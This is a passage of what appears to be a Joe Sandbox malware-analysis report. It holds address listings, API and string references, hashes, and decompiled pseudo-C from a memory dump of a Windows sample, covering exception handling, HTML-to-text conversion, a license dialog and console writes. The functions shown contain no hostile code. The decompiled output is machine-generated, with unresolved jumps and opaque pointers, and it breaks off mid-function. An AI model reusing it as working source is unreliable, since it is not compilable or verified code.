0x00877ad6
0x00877ad7
0x00877adc
0x00000000
0x00877adc
0x00877ac1
0x00877913
0x00877913
0x00877917
0x00000000
0x0087791d
0x0087791d
0x00877924
0x0087793c
0x0087793c
0x0087793f
0x00877942
0x00877948
0x00877958
0x0087795d
0x00877960
0x00877963
0x00877966
0x00877969
0x0087796c
0x0087796f
0x00877975
0x00877975
0x00877978
0x0087797b
0x0087798a
0x0087798b
0x0087798b
0x0087798d
0x00877990
0x00877996
0x00877999
0x0087799f
0x008779a1
0x008779a4
0x008779a7
0x008779ad
0x008779b0
0x008779b5
0x008779b5
0x008779b8
0x008779bb
0x008779be
0x008779c1
0x008779c4
0x008779c9
0x008779ca
0x008779cb
0x008779cc
0x008779cd
0x008779d0
0x008779d3
0x008779d5
0x00000000
0x008779d7
0x008779d7
0x008779d7
0x008779d8
0x008779da
0x008779dd
0x008779de
0x008779e3
0x008779e6
0x008779e8
0x00000000
0x00000000
0x008779ea
0x008779ed
0x008779ee
0x008779f1
0x008779f3
0x00000000
0x008779f5
0x008779f5
0x008779f8
0x00000000
0x008779f8
0x00000000
0x008779f3
0x00877a0c
0x00877a12
0x00877a2f
0x00877a34
0x00877a34
0x00877a37
0x00877a37
0x00000000
0x008779fb
0x008779fb
0x008779fc
0x008779ff
0x00877a02
0x00877a05
0x00877a05
0x00000000
0x00877a0a
0x008779a7
0x00877999
0x00877a3a
0x00877a3d
0x00877a3e
0x00877a41
0x00877a44
0x00877a47
0x00877a4a
0x00877a4a
0x00877a53
0x00877a56
0x00877a56
0x0087796f
0x00877a59
0x00877a5d
0x00877a5f
0x00877a62
0x00877a68
0x00877a68
0x00877a70
0x00877a75
0x00877adf
0x00877adf
0x00877ae4
0x00877ae8
0x00000000
0x00000000
0x00000000
0x00000000
0x00877a77
0x00877a7a
0x00877a7d
0x00877a81
0x00877a8f
0x00877a91
0x00877aa8
0x00877aac
0x00877ab2
0x00877ab3
0x00877ab5
0x00000000
0x00877ab7
0x00000000
0x00877ab7
0x00000000
0x00000000
0x00000000
0x00877a83
0x00877a83
0x00877a85
0x00000000
0x00877a87
0x00877a87
0x00877a8b
0x00000000
0x00877a8d
0x00877a93
0x00877a98
0x00877a9b
0x00877aa0
0x00877aa3
0x00000000
0x00877aa3
0x00877a8b
0x00877a85
0x00877a81
0x00877926
0x00877926
0x0087792d
0x00000000
0x0087792f
0x0087792f
0x00877936
0x00000000
0x00000000
0x00000000
0x00000000
0x00877936
0x0087792d
0x00877924
0x00877917
0x00877897
0x0087789f
0x008778a2
0x008778a7
0x008778ab
0x008778ae
0x008778b4
0x008778b7
0x00000000
0x008778b9
0x008778b9
0x008778bc
0x008778be
0x00877aef
0x00877aef
0x00000000
0x008778c4
0x008778cc
0x008778d7
0x00000000
0x00000000
0x008778e0
0x008778e3
0x008778e4
0x008778e7
0x008778e9
0x00000000
0x008778ef
0x00000000
0x008778ef
0x00000000
0x008778e9
0x008778c4
0x00877af4
0x00877af4
0x00877af6
0x00877af7
0x00877afe
0x00877b01
0x00877b0f
0x00877b14
0x00877b19
0x00877b1c
0x00877b21
0x00877b24
0x00877b27
0x00877b29
0x00877b2b
0x00877b2b
0x00877b30
0x00877b3c
0x00877b42
0x00877b47
0x00877b4a
0x00877b4b
0x00000000
0x00877b4b
0x008778b7
0x00877884
0x00877884
0x00877887
0x00000000
0x00000000
0x00000000
0x00000000
0x00877887
0x00877861
0x00877855
0x00877836
0x00877828
0x008777f4

APIs

type_info::operator==.LIBVCRUNTIME ref: 008778D0
___TypeMatch.LIBVCRUNTIME ref: 008779DE
_UnwindNestedFrames.LIBCMT ref: 00877B30
CallUnexpected.LIBVCRUNTIME ref: 00877B4B
_abort.LIBCMT ref: 00877B50

Strings

csm, xrefs: 00877907
csm, xrefs: 0087785B
csm, xrefs: 008777EE

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 94c8d8901ee27d4ec05e5b3f0dab6d8f625249c0e461b083350a4b8e1347ce34
Instruction ID: 4932a861954d20453bd68ea9bb5ed09eb41d34b943c85dd3fd70c881efad2912
Opcode Fuzzy Hash: 94c8d8901ee27d4ec05e5b3f0dab6d8f625249c0e461b083350a4b8e1347ce34
Instruction Fuzzy Hash: 2AB17C71808219DFDF25DFA8C8819AEBBB5FF04314F148469E819EB21AD730DE51CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0086E931 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126
memoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0086E931(void* __edx) {
				void* __ecx;
				void* _t20;
				short* _t24;
				void* _t28;
				void* _t29;
				intOrPtr* _t36;
				void* _t43;
				void* _t58;
				intOrPtr* _t60;
				short* _t62;
				short* _t64;
				intOrPtr* _t68;
				long _t70;
				void* _t72;
				void* _t73;

				_t58 = __edx;
				_t42 = _t43;
				if( *((intOrPtr*)(_t43 + 0x10)) == 0) {
					return _t20;
				}
				 *(_t72 + 8) =  *(_t72 + 8) & 0x00000000;
				_t60 =  *((intOrPtr*)(_t72 + 0x18));
				 *((char*)(_t72 + 0x13)) = E0086E7CA(_t60);
				_push(0x200 + E00878793(_t60) * 2);
				_t24 = E0087AA2B(_t43);
				_t64 = _t24;
				if(_t64 == 0) {
					L16:
					return _t24;
				}
				E0087B4DF(_t64, L"<html>");
				E0087C007(_t64, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0087C007(_t64, L"utf-8\"></head>");
				_t73 = _t72 + 0x18;
				_t68 = _t60;
				_t28 = 0x20;
				if( *_t60 != _t28) {
					L4:
					_t29 = E00867D46(_t77, _t68, L"<html>", 6);
					 *((char*)(_t73 + 0x12)) = _t29 == 0;
					if(_t29 == 0) {
						_t60 = _t68 + 0xc;
					}
					E0087C007(_t64, _t60);
					if( *((char*)(_t73 + 0x1a)) == 0) {
						E0087C007(_t64, L"</html>");
					}
					_t81 =  *((char*)(_t73 + 0x13));
					if( *((char*)(_t73 + 0x13)) == 0) {
						_push(_t64);
						_t64 = E0086EB75(_t58, _t81);
					}
					_t70 = 9 + E00878793(_t64) * 6;
					_t62 = GlobalAlloc(0x40, _t70);
					if(_t62 != 0) {
						_t13 = _t62 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t64, 0xffffffff, _t13, _t70 - 3, 0, 0) == 0) {
							 *_t62 = 0;
						} else {
							 *_t62 = 0xbbef;
							 *((char*)(_t62 + 2)) = 0xbf;
						}
					}
					L008787AE(_t64);
					_t24 =  *0x8c9154(_t62, 1, _t73 + 0x14);
					if(_t24 >= 0) {
						E0086E80B( *((intOrPtr*)(_t42 + 0x10)));
						_t36 =  *((intOrPtr*)(_t73 + 0x10));
						 *0x88822c(_t36,  *((intOrPtr*)(_t73 + 0x10)));
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *_t36 + 8))))();
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t68 = _t68 + 2;
					_t77 =  *_t68 - _t28;
				} while ( *_t68 == _t28);
				goto L4;
			}

0x0086e931
0x0086e934
0x0086e93a
0x0086ea7f
0x0086ea7f
0x0086e940
0x0086e947
0x0086e952
0x0086e962
0x0086e963
0x0086e968
0x0086e96e
0x0086ea7a
0x00000000
0x0086ea7b
0x0086e97b
0x0086e986
0x0086e991
0x0086e996
0x0086e999
0x0086e99d
0x0086e9a1
0x0086e9ac
0x0086e9b4
0x0086e9bb
0x0086e9c2
0x0086e9c4
0x0086e9c4
0x0086e9c9
0x0086e9d5
0x0086e9dd
0x0086e9e3
0x0086e9e4
0x0086e9e9
0x0086e9eb
0x0086e9f3
0x0086e9f3
0x0086e9ff
0x0086ea0b
0x0086ea0f
0x0086ea19
0x0086ea2e
0x0086ea3b
0x0086ea30
0x0086ea30
0x0086ea35
0x0086ea35
0x0086ea2e
0x0086ea3f
0x0086ea4d
0x0086ea56
0x0086ea61
0x0086ea66
0x0086ea72
0x0086ea78
0x0086ea78
0x00000000
0x00000000
0x00000000
0x00000000
0x0086e9a3
0x0086e9a3
0x0086e9a3
0x0086e9a6
0x0086e9a6
0x00000000

APIs

_wcslen.LIBCMT ref: 0086E956
_wcslen.LIBCMT ref: 0086E9F6
GlobalAlloc.KERNEL32(00000040,?), ref: 0086EA05
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 0086EA26

Strings

<html>, xrefs: 0086E975, 0086E9AE
utf-8"></head>, xrefs: 0086E98B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 0086E980
</html>, xrefs: 0086E9D7

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: d39e19b8c6456f543d2ec315d2a775c57c8453f162b8b675eaf4546119b8b35e
Instruction ID: 0525dc1aa154db30e883dc32ddcb662d914610dc79fb3e4ce02f17df80fca86f
Opcode Fuzzy Hash: d39e19b8c6456f543d2ec315d2a775c57c8453f162b8b675eaf4546119b8b35e
Instruction Fuzzy Hash: 8E313336104711BAE724AB789C4AF7F7B9CFF91320F16401EF516D62C1EB68D80883A6

Uniqueness

Uniqueness Score: -1.00%

Function 00870600 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00870600(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				void* _t29;
				intOrPtr _t30;
				struct HWND__* _t34;
				intOrPtr _t35;
				void* _t36;
				struct HWND__* _t37;

				_t29 = __ecx;
				_t28 = _a12;
				_t35 = _a8;
				_t34 = _a4;
				if(E008611E6(__edx, _t34, _t35, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t36 = _t35 - 0x110;
				if(_t36 == 0) {
					E008726DE(_t29, __edx, __eflags, __fp0, _t34);
					_t9 =  *0x8be1c4;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t34, 0x80, 1, _t9);
					}
					_t10 =  *0x8c52cc; // 0x1f050a80
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0x8c62e4;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t34, _t11);
					}
					_t37 = GetDlgItem(_t34, 0x65);
					SendMessageW(_t37, 0x435, 0, 0x10000);
					SendMessageW(_t37, 0x443, 0,  *0x8c90b0(0xf));
					 *0x8c90ac(_t34);
					_t30 =  *0x8aea0c; // 0x0
					E0086F0F5(_t30, __eflags,  *0x8aea24, _t37,  *0x8c62e0, 0, 0);
					L008787AE( *0x8c62e4);
					L008787AE( *0x8c62e0);
					goto L16;
				}
				if(_t36 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t34, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x00870600
0x00870601
0x00870607
0x0087060e
0x00870627
0x00870713
0x00870715
0x00000000
0x00870715
0x0087062d
0x00870633
0x00870660
0x00870665
0x0087066a
0x0087066c
0x00870677
0x00870677
0x0087067d
0x00870682
0x00870684
0x00870690
0x00870690
0x00870696
0x0087069b
0x0087069d
0x008706a1
0x008706a1
0x008706b6
0x008706be
0x008706d4
0x008706db
0x008706e1
0x008706f6
0x00870701
0x0087070c
0x00000000
0x00870712
0x00870638
0x00870647
0x00000000
0x00870647
0x0087063d
0x00870640
0x0087065b
0x0087064f
0x00870650
0x00000000
0x00870650
0x00870645
0x0087064e
0x00000000
0x0087064e
0x00000000

APIs

Part of subcall function 008611E6: GetDlgItem.USER32(00000000,00003021), ref: 0086122A
Part of subcall function 008611E6: SetWindowTextW.USER32(00000000,00888574), ref: 00861240

EndDialog.USER32(?,00000001), ref: 00870650
SendMessageW.USER32(?,00000080,00000001,?), ref: 00870677
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,1F050A80), ref: 00870690
SetWindowTextW.USER32(?,?), ref: 008706A1
GetDlgItem.USER32(?,00000065), ref: 008706AA
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 008706BE
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 008706D4

Strings

LICENSEDLG, xrefs: 00870614

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 61042434e27507768cc70860f05c0b4c48edf4b3e8381def69a46125cf5060a6
Instruction ID: 67d79528854721dee5c1cbd830a1e884169538beda1d2a59e5592ccaaf18bcd0
Opcode Fuzzy Hash: 61042434e27507768cc70860f05c0b4c48edf4b3e8381def69a46125cf5060a6
Instruction Fuzzy Hash: 0621E532204205FBD6215B65EC4DF3B3B7CFB96B86F058024F68CE50A5CB72E9119A36

Uniqueness

Uniqueness Score: -1.00%

Function 0086EF1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0086EF1E(void* __eflags, signed short* _a4) {
				signed int* _v4;
				intOrPtr _v8;
				void* __ecx;
				signed int* _t17;
				signed int _t18;
				void* _t21;
				void* _t22;
				void* _t24;
				signed short _t25;
				void* _t26;
				signed int _t27;
				signed int _t28;
				signed short* _t29;
				void* _t30;
				signed int _t31;
				signed int _t32;
				void* _t33;
				signed int _t36;
				void* _t38;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed short _t45;
				signed int _t47;
				short _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed short* _t53;
				signed int* _t55;
				short* _t56;
				short* _t57;
				signed short* _t58;
				signed int* _t59;
				intOrPtr _t60;
				signed int* _t77;

				_t58 = _a4;
				_push(2 + E00878793(_t58) * 2);
				_t17 = E0087AA2B(_t38);
				_t59 = _t17;
				_v4 = _t59;
				if(_t59 == 0) {
					return _t17;
				}
				_t18 = E0086E7CA(_t58);
				_t42 =  *_t58 & 0x0000ffff;
				_t36 = _t18;
				_t55 = _t59;
				if(_t42 == 0) {
					L47:
					return _t59;
				} else {
					_push(0xd);
					_push(0x20);
					_v8 = 0x3e;
					do {
						_t43 = _t42 & 0x0000ffff;
						while(_t43 != 0x3c) {
							if(_t36 == 0) {
								L11:
								_t36 = 0;
								__eflags = 0;
								if(0 == 0) {
									L20:
									_t27 =  *_t58 & 0x0000ffff;
									__eflags = _t27;
									if(__eflags == 0) {
										L27:
										_t28 =  *_t58 & 0x0000ffff;
										_t52 = 0x20;
										_t43 = _t28;
										_t72 = _t28;
										_t26 = 0xd;
										if(_t28 != 0) {
											continue;
										}
										break;
									}
									__eflags = _t27 - _t52;
									if(__eflags != 0) {
										L24:
										 *_t55 = _t27;
										L25:
										_t55 =  &(_t55[0]);
										L26:
										_t58 =  &(_t58[1]);
										goto L27;
									}
									__eflags = _t55 - _t59;
									if(__eflags == 0) {
										goto L24;
									}
									__eflags =  *((intOrPtr*)(_t55 - 2)) - _t52;
									if(__eflags == 0) {
										goto L26;
									}
									goto L24;
								}
								__eflags = _t43 - 0x26;
								if(_t43 != 0x26) {
									goto L20;
								}
								_t29 = 0;
								__eflags = 0;
								do {
									_t53 = _t29 + _t58;
									_t47 =  *_t53 & 0x0000ffff;
									__eflags = _t47;
									if(_t47 == 0) {
										break;
									}
									__eflags = _t47 - 0x3b;
									if(_t47 == 0x3b) {
										_t8 =  &(_t53[1]); // 0x22
										_t58 = _t8;
										_t36 = 1;
									}
									_t29 = _t29 + 2;
									__eflags = _t29 - 0x28;
								} while (_t29 < 0x28);
								__eflags = _t36;
								if(__eflags != 0) {
									goto L27;
								}
								_t52 = 0x20;
								goto L20;
							}
							if(_t43 == _t26) {
								L8:
								if(_t55 == _t59 ||  *((intOrPtr*)(_t55 - 2)) != _t52) {
									 *_t55 = _t52;
									goto L25;
								} else {
									goto L26;
								}
							}
							_t30 = 0xa;
							if(_t43 != _t30) {
								goto L11;
							}
							goto L8;
						}
						_t21 = E00867D46(_t72, _t58, L"</p>", 4);
						_t36 = _t36 & 0xffffff00 | _t21 == 0x00000000;
						_t74 = _t21;
						if(_t21 == 0 || E00867D46(_t74, _t58, L"<br>", 4) == 0) {
							_t44 = 0xd;
							_t22 = 2;
							 *_t55 = _t44;
							_t56 = _t55 + _t22;
							_t49 = 0xa;
							 *_t56 = _t49;
							_t55 = _t56 + _t22;
							if(_t36 != 0) {
								 *_t55 = _t44;
								_t57 = _t55 + _t22;
								 *_t57 = _t49;
								_t55 = _t57 + _t22;
								_t77 = _t55;
							}
						}
						 *_t55 = 0;
						_t24 = E00867D46(_t77, _t58, L"<style>", 7);
						_t45 =  *_t58 & 0x0000ffff;
						_t50 = _t45;
						if(_t24 != 0) {
							_t51 = _t45;
							__eflags = _t45;
							if(_t45 == 0) {
								L44:
								_t25 = _t51 & 0x0000ffff;
								__eflags = _t51 - _v8;
								if(__eflags == 0) {
									_t58 =  &(_t58[1]);
									__eflags = _t58;
									_t25 =  *_t58 & 0x0000ffff;
								}
								goto L46;
							}
							_t60 = _v8;
							while(1) {
								_t51 = _t45 & 0x0000ffff;
								__eflags = _t45 - _t60;
								if(_t45 == _t60) {
									break;
								}
								_t58 =  &(_t58[1]);
								_t31 =  *_t58 & 0x0000ffff;
								_t45 = _t31;
								_t51 = _t31;
								__eflags = _t31;
								if(_t31 != 0) {
									continue;
								}
								break;
							}
							_t59 = _v4;
							goto L44;
						} else {
							_t32 = _t50;
							_t79 = _t45;
							if(_t45 == 0) {
								L38:
								_t25 = _t32 & 0x0000ffff;
								goto L46;
							} else {
								goto L34;
							}
							while(1) {
								L34:
								_t33 = E00867D46(_t79, _t58, L"</style>", 8);
								_t58 =  &(_t58[1]);
								if(_t33 == 0) {
									break;
								}
								_t32 =  *_t58 & 0x0000ffff;
								if(_t32 != 0) {
									continue;
								}
								goto L38;
							}
							_t58 =  &(_t58[7]);
							__eflags = _t58;
							_t32 =  *_t58 & 0x0000ffff;
							goto L38;
						}
						L46:
						_t52 = 0x20;
						_t42 = _t25 & 0x0000ffff;
						_t26 = 0xd;
					} while (_t25 != 0);
					goto L47;
				}
			}

0x0086ef22
0x0086ef36
0x0086ef37
0x0086ef3c
0x0086ef3e
0x0086ef46
0x0086f0eb
0x0086f0eb
0x0086ef50
0x0086ef55
0x0086ef58
0x0086ef5a
0x0086ef5f
0x0086f0e3
0x00000000
0x0086ef65
0x0086ef65
0x0086ef68
0x0086ef6b
0x0086ef73
0x0086ef73
0x0086ef76
0x0086ef82
0x0086efa0
0x0086efa0
0x0086efa2
0x0086efa4
0x0086efd2
0x0086efd2
0x0086efd5
0x0086efd8
0x0086eff2
0x0086eff2
0x0086eff7
0x0086effa
0x0086effc
0x0086efff
0x0086f000
0x00000000
0x00000000
0x00000000
0x0086f000
0x0086efda
0x0086efdd
0x0086efe9
0x0086efe9
0x0086efec
0x0086efec
0x0086efef
0x0086efef
0x00000000
0x0086efef
0x0086efdf
0x0086efe1
0x00000000
0x00000000
0x0086efe3
0x0086efe7
0x00000000
0x00000000
0x00000000
0x0086efe7
0x0086efa6
0x0086efaa
0x00000000
0x00000000
0x0086efac
0x0086efac
0x0086efae
0x0086efae
0x0086efb1
0x0086efb4
0x0086efb7
0x00000000
0x00000000
0x0086efb9
0x0086efbc
0x0086efbe
0x0086efbe
0x0086efc1
0x0086efc1
0x0086efc3
0x0086efc6
0x0086efc6
0x0086efcb
0x0086efcd
0x00000000
0x00000000
0x0086efd1
0x00000000
0x0086efd1
0x0086ef87
0x0086ef91
0x0086ef93
0x0086ef9b
0x00000000
0x00000000
0x00000000
0x00000000
0x0086ef93
0x0086ef8b
0x0086ef8f
0x00000000
0x00000000
0x00000000
0x0086ef8f
0x0086f00e
0x0086f015
0x0086f018
0x0086f01a
0x0086f02f
0x0086f032
0x0086f033
0x0086f036
0x0086f03a
0x0086f03b
0x0086f03e
0x0086f042
0x0086f044
0x0086f047
0x0086f049
0x0086f04c
0x0086f04c
0x0086f04c
0x0086f042
0x0086f058
0x0086f05b
0x0086f060
0x0086f063
0x0086f067
0x0086f09b
0x0086f09d
0x0086f0a0
0x0086f0c1
0x0086f0c1
0x0086f0c4
0x0086f0c9
0x0086f0cb
0x0086f0cb
0x0086f0ce
0x0086f0ce
0x00000000
0x0086f0c9
0x0086f0a2
0x0086f0a6
0x0086f0a6
0x0086f0a9
0x0086f0ac
0x00000000
0x00000000
0x0086f0ae
0x0086f0b1
0x0086f0b4
0x0086f0b6
0x0086f0b8
0x0086f0bb
0x00000000
0x00000000
0x00000000
0x0086f0bb
0x0086f0bd
0x00000000
0x0086f069
0x0086f069
0x0086f06b
0x0086f06e
0x0086f096
0x0086f096
0x00000000
0x00000000
0x00000000
0x00000000
0x0086f070
0x0086f070
0x0086f078
0x0086f07d
0x0086f082
0x00000000
0x00000000
0x0086f084
0x0086f08c
0x00000000
0x00000000
0x00000000
0x0086f08e
0x0086f090
0x0086f090
0x0086f093
0x00000000
0x0086f093
0x0086f0d1
0x0086f0d3
0x0086f0d6
0x0086f0dc
0x0086f0dc
0x00000000
0x0086ef73

APIs

_wcslen.LIBCMT ref: 0086EF2A

Strings

<style>, xrefs: 0086F050
<br>, xrefs: 0086F01E
</p>, xrefs: 0086F008
>, xrefs: 0086EF6B
</style>, xrefs: 0086F072

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 548b4cd3d291bd6e5e3a975c0084cd06f34fe1515a9cec1f830977c147449436
Instruction ID: 321056c41f979605e82466e8ce58000b0ce451845d8bc785d36f5c749ef605e8
Opcode Fuzzy Hash: 548b4cd3d291bd6e5e3a975c0084cd06f34fe1515a9cec1f830977c147449436
Instruction Fuzzy Hash: C951095A74472396DB305A28A811B7673E4FF65750F6A047AFAC1CB2C2FF65CC818362

Uniqueness

Uniqueness Score: -1.00%

Function 0088401D Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0088401D(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t115;
				signed int _t117;
				signed char _t122;
				signed char _t127;
				signed int _t128;
				signed char* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;

				_t78 =  *0x893688; // 0xe2d35318
				_v8 = _t78 ^ _t131;
				_t80 = _a8;
				_t117 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t129 = _a12;
				_v52 = _t129;
				_v48 = _t117;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x8c88d0 + _t117 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t129;
				_t86 = GetConsoleCP();
				_t130 = _a4;
				_v60 = _t86;
				 *_t130 = 0;
				 *((intOrPtr*)(_t130 + 4)) = 0;
				 *((intOrPtr*)(_t130 + 8)) = 0;
				while(_t129 < _v40) {
					_v28 = 0;
					_v31 =  *_t129;
					_t128 =  *(0x8c88d0 + _v48 * 4);
					_t122 =  *(_t128 + _t115 + 0x2d);
					if((_t122 & 0x00000004) == 0) {
						_t92 = E0087F0F0(_t115, _t128);
						_t128 = 0x8000;
						if(( *(_t92 + ( *_t129 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t129);
							goto L8;
						} else {
							if(_t129 >= _v40) {
								_t128 = _v48;
								 *((char*)( *((intOrPtr*)(0x8c88d0 + _t128 * 4)) + _t115 + 0x2e)) =  *_t129;
								 *( *((intOrPtr*)(0x8c88d0 + _t128 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x8c88d0 + _t128 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
							} else {
								_t112 = E0087DC30( &_v28, _t129, 2);
								_t132 = _t132 + 0xc;
								if(_t112 != 0xffffffff) {
									_t129 =  &(_t129[1]);
									goto L9;
								}
							}
						}
					} else {
						_t127 = _t122 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t128 + _t115 + 0x2e));
						_push(2);
						_v15 = _t127;
						 *(_t128 + _t115 + 0x2d) = _t127;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E0087DC30();
						_t132 = _t132 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t129 =  &(_t129[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t130 = GetLastError();
								} else {
									_t48 = _t130 + 8; // 0xff76e900
